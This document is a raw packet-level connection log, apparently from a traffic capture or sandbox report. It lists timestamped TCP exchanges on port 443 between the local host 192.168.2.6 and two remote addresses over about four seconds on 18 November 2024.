Nov 18, 2024 02:34:55.381561995 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.381741047 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.381794930 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.381839991 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.381860018 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.381875992 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.381882906 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.384429932 CET	50012	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.384471893 CET	443	50012	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.384536028 CET	50012	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.384685993 CET	50012	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.384702921 CET	443	50012	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.461051941 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.461201906 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.461280107 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.461592913 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.461617947 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.461643934 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.461657047 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.468875885 CET	50013	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.468904018 CET	443	50013	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.468971014 CET	50013	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.475706100 CET	50013	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:55.475717068 CET	443	50013	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:55.929255009 CET	443	50008	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:55.929380894 CET	50008	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:55.931919098 CET	50008	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:55.931926966 CET	443	50008	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:55.932691097 CET	443	50008	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:55.934694052 CET	50008	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:55.934756041 CET	50008	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:55.934762955 CET	443	50008	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:55.934899092 CET	50008	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:55.979327917 CET	443	50008	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:56.030846119 CET	443	50009	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.031488895 CET	50009	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.031553030 CET	443	50009	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.032077074 CET	50009	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.032090902 CET	443	50009	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.039855957 CET	443	50010	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.040211916 CET	50010	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.040252924 CET	443	50010	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.040615082 CET	50010	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.040627956 CET	443	50010	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.107431889 CET	443	50011	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.108066082 CET	50011	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.108163118 CET	443	50011	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.108542919 CET	50011	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.108558893 CET	443	50011	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.118237972 CET	443	50012	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.118571043 CET	50012	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.118602037 CET	443	50012	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.119020939 CET	50012	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.119034052 CET	443	50012	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.160185099 CET	443	50009	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.161602020 CET	443	50009	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.161715031 CET	50009	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.161804914 CET	50009	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.161804914 CET	50009	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.161854029 CET	443	50009	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.161887884 CET	443	50009	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.164676905 CET	50014	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.164726019 CET	443	50014	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.164835930 CET	50014	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.164973974 CET	50014	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.164990902 CET	443	50014	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.168847084 CET	443	50010	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.169049025 CET	443	50010	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.169110060 CET	50010	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.169142008 CET	443	50010	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.169167042 CET	443	50010	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.169212103 CET	50010	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.169244051 CET	50010	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.169261932 CET	443	50010	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.169274092 CET	50010	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.169281006 CET	443	50010	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.171422958 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.171449900 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.171515942 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.171646118 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.171663046 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.181426048 CET	443	50008	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:56.181951046 CET	50008	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:56.181961060 CET	443	50008	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:56.181982994 CET	50008	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:56.182014942 CET	50008	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:56.213167906 CET	443	50013	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.214099884 CET	50013	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.214112043 CET	443	50013	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.214631081 CET	50013	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.214636087 CET	443	50013	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.237097979 CET	443	50011	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.237169027 CET	443	50011	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.237366915 CET	50011	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.237366915 CET	50011	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.237366915 CET	50011	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.240091085 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.240123987 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.240195990 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.240662098 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.240672112 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.245253086 CET	443	50012	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.245414972 CET	443	50012	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.245498896 CET	50012	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.245534897 CET	50012	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.245534897 CET	50012	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.245551109 CET	443	50012	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.245560884 CET	443	50012	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.247961044 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.247973919 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.248049974 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.248186111 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.248199940 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.450606108 CET	443	50013	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.450684071 CET	443	50013	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.450735092 CET	50013	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.451083899 CET	50013	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.451100111 CET	443	50013	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.451109886 CET	50013	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.451114893 CET	443	50013	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.453926086 CET	50018	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.453958988 CET	443	50018	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.454020023 CET	50018	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.454153061 CET	50018	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.454165936 CET	443	50018	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.541395903 CET	50011	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.541461945 CET	443	50011	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.894334078 CET	443	50014	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.894880056 CET	50014	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.894911051 CET	443	50014	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.895489931 CET	50014	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.895498037 CET	443	50014	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.909532070 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.909919977 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.909940004 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.910430908 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.910438061 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.968921900 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.969683886 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.969692945 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:56.970267057 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:56.970273018 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.000304937 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.000772953 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.000781059 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.001208067 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.001213074 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.028441906 CET	443	50014	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.028650999 CET	443	50014	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.028752089 CET	50014	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.028964043 CET	50014	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.028981924 CET	443	50014	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.028995037 CET	50014	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.029001951 CET	443	50014	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.032124043 CET	50019	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.032146931 CET	443	50019	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.032222986 CET	50019	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.032396078 CET	50019	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.032407999 CET	443	50019	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.040927887 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.041078091 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.041140079 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.041276932 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.041287899 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.041297913 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.041304111 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.044142962 CET	50020	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.044171095 CET	443	50020	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.044245958 CET	50020	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.044394970 CET	50020	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.044405937 CET	443	50020	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.097532988 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.097588062 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.097685099 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.097875118 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.097887039 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.097896099 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.097902060 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.100816965 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.100862026 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.100961924 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.101147890 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.101181984 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.132812977 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.132967949 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.133050919 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.133203983 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.133219957 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.133234024 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.133239031 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.135926962 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.135953903 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.136012077 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.136264086 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.136279106 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.181099892 CET	443	50018	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.185121059 CET	50018	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.185164928 CET	443	50018	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.185580015 CET	50018	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.185587883 CET	443	50018	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.309917927 CET	443	50018	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.309945107 CET	443	50018	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.309983969 CET	443	50018	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.310003042 CET	50018	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.310043097 CET	50018	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.310237885 CET	50018	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.310261011 CET	443	50018	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.310275078 CET	50018	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.310282946 CET	443	50018	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.313107014 CET	50023	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.313200951 CET	443	50023	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.313292980 CET	50023	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.313446045 CET	50023	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.313482046 CET	443	50023	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.783246994 CET	443	50019	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.783847094 CET	50019	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.783871889 CET	443	50019	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.784447908 CET	50019	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.784454107 CET	443	50019	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.804614067 CET	443	50020	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.805177927 CET	50020	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.805196047 CET	443	50020	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.805649996 CET	50020	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.805656910 CET	443	50020	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.841236115 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.841787100 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.841881037 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.842199087 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.842215061 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.872423887 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.873024940 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.873045921 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.873598099 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.873605013 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.913650036 CET	443	50019	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.913820028 CET	443	50019	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.913912058 CET	50019	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.914000034 CET	50019	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.914016008 CET	443	50019	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.914025068 CET	50019	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.914030075 CET	443	50019	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.917042971 CET	50024	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.917083979 CET	443	50024	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.917157888 CET	50024	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.917279005 CET	50024	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.917289019 CET	443	50024	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.934612036 CET	443	50020	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.934704065 CET	443	50020	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.934762955 CET	50020	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.934777021 CET	443	50020	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.934818983 CET	443	50020	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.934858084 CET	50020	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.934879065 CET	443	50020	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.934894085 CET	50020	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.934894085 CET	50020	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.934902906 CET	443	50020	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.934911966 CET	443	50020	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.937268972 CET	50025	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.937309980 CET	443	50025	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.937393904 CET	50025	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.937544107 CET	50025	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.937572002 CET	443	50025	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.972563982 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.972651005 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.972714901 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.972815037 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.972815990 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.972851038 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.972876072 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.975224018 CET	50026	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.975240946 CET	443	50026	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:57.975354910 CET	50026	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.975469112 CET	50026	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:57.975482941 CET	443	50026	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.000077009 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.000142097 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.000197887 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.000209093 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.000238895 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.000283003 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.000395060 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.000403881 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.000425100 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.000431061 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.002691031 CET	50027	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.002712011 CET	443	50027	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.002844095 CET	50027	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.002964020 CET	50027	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.002990007 CET	443	50027	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.050610065 CET	443	50023	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.051073074 CET	50023	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.051157951 CET	443	50023	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.051534891 CET	50023	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.051549911 CET	443	50023	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.185822964 CET	443	50023	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.185889006 CET	443	50023	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.186079979 CET	50023	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.186211109 CET	50023	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.186212063 CET	50023	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.186263084 CET	443	50023	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.186294079 CET	443	50023	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.197175026 CET	50028	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.197210073 CET	443	50028	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.197324991 CET	50028	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.199865103 CET	50028	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.199883938 CET	443	50028	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.675014019 CET	443	50025	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.675610065 CET	443	50024	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.675657034 CET	50025	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.675724030 CET	443	50025	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.675918102 CET	50024	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.675951004 CET	443	50024	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.676265955 CET	50025	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.676274061 CET	443	50025	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.676398039 CET	50024	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.676405907 CET	443	50024	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.706499100 CET	443	50026	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.707161903 CET	50026	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.707217932 CET	443	50026	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.707746029 CET	50026	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.707752943 CET	443	50026	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.731633902 CET	443	50027	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.732207060 CET	50027	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.732224941 CET	443	50027	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.732741117 CET	50027	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.732752085 CET	443	50027	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.803399086 CET	443	50025	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.803563118 CET	443	50025	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.803638935 CET	50025	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.804117918 CET	50025	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.804161072 CET	443	50025	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.804191113 CET	50025	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.804207087 CET	443	50025	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.805253029 CET	443	50024	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.805464983 CET	443	50024	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.805535078 CET	50024	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.806551933 CET	50024	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.806602955 CET	443	50024	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.806637049 CET	50024	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.806655884 CET	443	50024	13.107.246.45	192.168.2.6
